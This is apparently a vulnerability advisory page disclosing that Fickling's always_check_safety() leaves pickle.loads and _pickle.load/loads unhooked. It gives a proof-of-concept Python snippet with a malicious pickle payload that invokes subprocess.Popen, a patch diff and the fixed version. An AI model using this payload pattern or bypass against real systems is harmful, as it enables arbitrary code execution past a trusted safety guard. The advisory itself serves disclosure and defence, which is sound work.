GHSA-wccx-j62j-r448 json
Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked
published 8mo ago modified 8mo ago
- cvss
- —
- not scored
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
# Assessment
The missing pickle entrypoints `pickle.loads`, `_pickle.loads`, and `_pickle.load` were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.
# Original report
## Summary `fickling.always_check_safety()` does not hook all pickle entry points. `pickle.loads`, `_pickle.loads`, and `_pickle.load` remain unprotected, enabling malicious payload execution despite global safety mode being enabled.
## Affected versions `<= 0.1.8` (verified on current upstream HEAD as of 2026-03-03)
## Non-duplication check against published Fickling GHSAs No published advisory covers hook-coverage bypass in `run_hook()`. Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.
## Root cause `run_hook()` patches only: - `pickle.load` - `pickle.Unpickler` - `_pickle.Unpickler`
It does not patch: - `pickle.loads` - `_pickle.load` - `_pickle.loads`
## Reproduction (clean upstream) ```python import io, pickle, _pickle from unittest.mock import patch import fickling from fickling.exception import UnsafeFileError
class Payload: def __reduce__(self): import subprocess return (subprocess.Popen, (['echo','BYPASS'],))
data = pickle.dumps(Payload()) fickling.always_check_safety()
# Bypass path with patch('subprocess.Popen') as popen_mock: pickle.loads(data) print('bypass sink called?', popen_mock.called) # True
# Control path is blocked with patch('subprocess.Popen') as popen_mock: try: pickle.load(io.BytesIO(data)) except UnsafeFileError: pass print('blocked sink called?', popen_mock.called) # False ```
Observed on vulnerable code: - `pickle.loads` executes payload - `pickle.load` is blocked
## Minimal patch diff ```diff --- a/fickling/hook.py +++ b/fickling/hook.py @@ def run_hook(): - pickle.load = loader.load + pickle.load = loader.load + _pickle.load = loader.load + pickle.loads = loader.loads + _pickle.loads = loader.loads ```
## Validation after patch - `pickle.loads`, `_pickle.loads`, and `_pickle.load` all raise `UnsafeFileError` - sink not called in any path
Regression tests added locally: - `test_run_hook_blocks_pickle_loads` - `test_run_hook_blocks__pickle_load_and_loads` in `test/test_security_regressions_20260303.py`
## Impact High-confidence runtime protection bypass for applications that trust `always_check_safety()` as global guard.
Patch / fix
- pypi fickling 0.1.9
Is GHSA-wccx-j62j-r448 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerAffected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| pypi | fickling | <0.1.9 |
0.1.9 |
Classification
- Weakness
-
- CWE-693 Protection Mechanism Failure
References
Sources
- GitHub Advisory GHSA-wccx-j62j-r448
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.